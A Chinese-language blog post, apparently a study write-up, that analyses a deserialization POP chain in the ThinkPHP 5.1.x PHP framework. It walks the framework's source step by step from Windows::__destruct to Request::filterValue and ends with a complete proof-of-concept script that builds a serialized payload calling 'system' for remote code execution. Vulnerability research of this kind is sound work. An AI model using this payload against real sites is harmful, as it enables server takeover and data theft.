THINKPHP 5.1.X 反序列化POP链学习 2020-08-17 01:27:32 Steven Xeldax > 本篇是上一篇5.0.23的续篇,上一篇分析POP链的时候完全是跟着poc反推调用链的,对于漏洞分析来说是足够了,但看懂POP链,能够分析POP链只是最初的第一步,所以本篇尝试从Windows __descruct 起点开始寻找剩余POP链的部分。 Thinkphp 5.1.x的下载地址: ``` http://download.xeldax.top/thinkphp5_1.37.zip ``` ### THINKPHP 5.1.X 反序列化POP链学习 这次的目标是知道入口类然后推算后续的剩下POP链,首先瞟一眼POC发现触发的依旧是__destruct。 我们搜索下__destruct如下图所示:  可以看到有三个类使用了这个,根据上一篇文章知道Windows是TP 50X POC使用的第一个类,看了下代码发现Windows class在代码上没有什么改变,所以依然可以作为入口点。  熟悉的file_exist($filename), 能够触发类中的__toString方法  我们全局搜索__toString看看。  跟进到Conversion可以看到熟悉的toJson   继续跟进重点分析下toArray函数,在分析的时候顺便寻找能够将类的成员变量带入作为执行函数的点。 一种变体是$data->funcA,我们可以找到含有funcA函数的类,如果没有则可以利用__call看看能不能把pop链顺延下去。 ``` public function toArray(){ $item = []; $hasVisible = false; foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } } foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } } // 合并关联数据 $data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } } // 追加属性(必须定义获取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); } $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible([$attr]); } $item[$key] = $relation->append([$attr])->toArray(); } else { $item[$name] = $this->getAttr($name, $item); } } } return $item; } ``` 第53到73行,似乎存在可以注入的内容。 $this->append内容可以控制,我们让函数走到 ``` } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible([$attr]); } $item[$key] = $relation->append([$attr])->toArray(); ``` relation是由$this->getRelation控制,如果传入的$key在relation中就可以返回出来,而这个relation我们也可以控制。 ``` if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } ``` 但Conversion是用trait定义的属于抽象类,我们需要找到实例化的地方,全局搜索使用Conversion的地方,发现在Model中有使用定义。 ``` abstract class Model implements \JsonSerializable, \ArrayAccess { use model\concern\Attribute; use model\concern\RelationShip; use model\concern\ModelEvent; use model\concern\TimeStamp; use model\concern\Conversion; ``` Model也是抽象类我们需要再去找到实例化Model的地方,全局搜索extends Model  有了在class Pivot中,那么我们只需要构造class Pivot就行了,如下所示: ``` class Pivot{ protected $append; private $relation; function __construct() { $this->append = ["test.test"]; $this->relation = ["test"=>"test"]; } } ``` 但是在调试的时候却遇到问题了,$this->relation的数值始终是null。  再核对检查了下数据  发现没错啊,看下序列化出来的内容,好像也没有什么问题。  这里其实犯了一个错误,getRelation函数是定义在RelationShip类中,$this->relation是private属性的不被Model所继承自然也不会给Pivot,所以文章上述提到 > relation是由$this->getRelation控制,如果传入的$key在relation中就可以返回出来,而这个relation我们也可以控制。 其实relation是不能控制的。 所以此处得重新找可以利用得点,并且需要避开private属性得成员。 可以看到在5.0.x版本中这些成员变量全是protected的,所以在5.1.x中都利用了private进行修改。   后来发现这里我其实搞错了,虽然父类对象的成员如果是private无法继承给子类,但是我可以通过重新定义父类来修改private成员的数据值。此外$this->relation虽然是再RelationShip类中,但是RelationShip是trait定义  在Modle中使用了use model\concern\RelationShip来引入  所以RelationShip的private成员都是能被Model继承使用的的。 如下所示,abstract class Model能够使用relation  那么我们重新构造payload ``` abstract class Model{ private $relation; private $data; function __construct() { $this->relation = ["test"=>"test"]; $this->data = ["test"=>"test"]; } } namespace think\model; use think\Model; class Pivot extends Model{ protected $append; function __construct() { $this->append = ["test.test"]; } } ``` 又踩坑了  Pivot中的构造函数把Model中的构造函数给重载了。  这样就行了  再一次调试发现data,relation都有数据了。 来到关键的这里  这个relation的数值我们是都可以控制的。 ``` public function getRelation($name = null) { if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; } ``` relation能够控制了, 剩下的尝试下thinkphp 5.0.x的POP链。 Output -> Memcached -> File 这里调试的时候发现args传入的是数组,和原来的不太一样,这里传入参数是[$attr],原先的是$this->foreignkey  所以file_put_content这条RCE链估计不行。再全局搜下__call 看看有没有别的函数。 发现在request类中似乎可以利用,$this->hook和args都能控制。  但是array_unshift($args, $this); 将$this当前类传入了args参数当中。 这边可以利用类的方法,有一个技巧。 ``` <?php class test{ public function c($a){ var_dump($a); } public function testcc(){ call_user_func_array([$this,"c"],[$this,1]); } } $clz = new test(); $clz->testcc(); ``` 上述这种方法就可以使用存在在类中的方法,如果args当中参数传入了$this或者类名,那么不妨去看看类中有没有可以利用的函数。 经过正向匹配和从漏洞点触发得分析,找到了在Request类中isAjax函数可以触发到代码执行。 我们跟踪下isAjax ``` public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false; if (true === $ajax) { return $result; } $result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; } ``` 跟进到$this->param($this->config['var_ajax']) 中, 其中$this->config['var_ajax']我们可以进行控制。 ``` public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true); // 自动获取请求变量 switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; } // 当前请求参数和URL地址中的参数合并 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } if (true === $name) { // 获取包含文件上传信息的数组 $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param; return $this->input($data, '', $default, $filter); } return $this->input($this->param, $name, $default, $filter); } ``` 跟进到$this->input($this->param, $name, $default, $filter) ``` public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { // 获取原始数据 return $data; } $name = (string) $name; if ('' != $name) { // 解析name if (strpos($name, '/')) { list($name, $type) = explode('/', $name); } $data = $this->getData($data, $name); if (is_null($data)) { return $default; } if (is_object($data)) { return $data; } } // 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针 $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); } if (isset($type) && $data !== $default) { // 强制类型转换 $this->typeCast($data, $type); } return $data; } ``` 首先调用getData获取数据,$data为get或者post得数据,name是我们传入$config['var_ajax'].  如果var_ajax填入Q就是我们传入得序列化数据  继续往下分析  getFilter会将$this->filters的数据给返回出来,这里赋值给了$filter 重点跟踪到filterValue  ``` private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 调用函数或者方法过滤 $value = call_user_func($filter, $value); } elseif (is_scalar($value)) { if (false !== strpos($filter, '/')) { // 正则过滤 if (!preg_match($filter, $value)) { // 匹配不成功返回默认值 $value = $default; break; } ``` $filters的值我们可以控制,$value我们可以控制,那么第8行 $value = call_user_func($filter, $value); 我们可以执行任任意函数。 最终执行结果  POC: ``` <?php /** * Created by PhpStorm. * User: xcy_m * Date: 2020/8/11 * Time: 14:33 */ //data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg namespace think; use think\console\Output; class Request{ protected $hook; protected $filter = ["system"]; protected $config = [ // 表单请求类型伪装变量 'var_method' => '_method', // 表单ajax伪装变量 'var_ajax' => 't',//$this->input($this->param, $name, $default, $filter); name控制得 // 表单pjax伪装变量 'var_pjax' => '_pjax', // PATHINFO变量名 用于兼容模式 'var_pathinfo' => 's', // 兼容PATH_INFO获取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 默认全局过滤方法 用逗号分隔多个 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理标识 'https_agent_name' => '', // IP代理获取标识 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL伪静态后缀 'url_html_suffix' => 'html', ]; function __construct() { $this->hook = ["append"=>[$this,"isAjax"]]; } } abstract class Model{ private $relation; private $data; function __construct() { $this->relation = ["test"=>new Request()]; $this->data = ["test"=>new Request()]; } } namespace think\model; use think\Model; class Pivot extends Model{ protected $append; function __construct() { parent::__construct(); $this->append = ["test.phpinfo()"]; } } namespace think\process\pipes; use think\model\Pivot; class Windows{ private $files; function __construct() { $this->files = [new Pivot()]; } } $a = serialize(new Windows()); echo $a; echo "<br>"; echo base64_encode($a); ```